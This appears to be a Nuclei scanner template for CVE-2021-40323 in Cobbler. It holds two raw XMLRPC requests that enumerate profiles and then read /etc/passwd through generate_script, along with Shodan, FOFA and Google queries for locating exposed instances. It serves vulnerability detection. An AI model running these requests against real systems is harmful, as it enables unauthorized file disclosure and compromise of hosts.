id: CVE-2021-40323

info:
  name: Cobbler <3.3.0 - Remote Code Execution
  author: c-sh0
  severity: critical
  description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
  remediation: |
    Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/cobbler/cobbler/releases/tag/v3.3.0
    - https://github.com/cobbler/cobbler/issues/2795
    - https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40323
    - https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40323
    cwe-id: CWE-94
    epss-score: 0.88482
    epss-percentile: 0.99751
    cpe: cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cobbler_project
    product: cobbler
    shodan-query: http.title:"cobbler web interface"
    fofa-query: title="cobbler web interface"
    google-query: intitle:"cobbler web interface"
  tags: cve,cve2021,cobbler,rce,cobbler_project,vuln

http:
  - raw:
      - |
        POST {{BaseURL}}/cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version='1.0'?>
        <methodCall>
          <methodName>find_profile</methodName>
          <params>
            <param>
              <value>
                <struct>
                  <member>
                    <name>name</name>
                    <value>
                      <string>*</string>
                    </value>
                  </member>
                </struct>
              </value>
            </param>
          </params>
        </methodCall>
      - |
        POST {{BaseURL}}/cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version='1.0'?>
        <methodCall>
          <methodName>generate_script</methodName>
          <params>
            <param>
              <value>
                <string>{{profile}}</string>
              </value>
            </param>
            <param>
              <value>
                <string></string>
              </value>
            </param>
            <param>
              <value>
                <string>/etc/passwd</string>
              </value>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'text/xml'

      - type: regex
        regex:
          - "root:.*:0"
          - "bin:.*:1"
          - "nobody:.*:99"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: profile
        group: 1
        regex:
          - '<value><string>(.*?)</string></value>'
        internal: true
# digest: 4a0a00473045022100c3d4125ca6899b07530d41089a84b903fd85767420975760e83c7d0bb56f64790220557bf6d4ca5730a33989ca883c2deca6d4ab00857f61d521348c148daff8befe:922c64590222798bb761d5b6d8e72950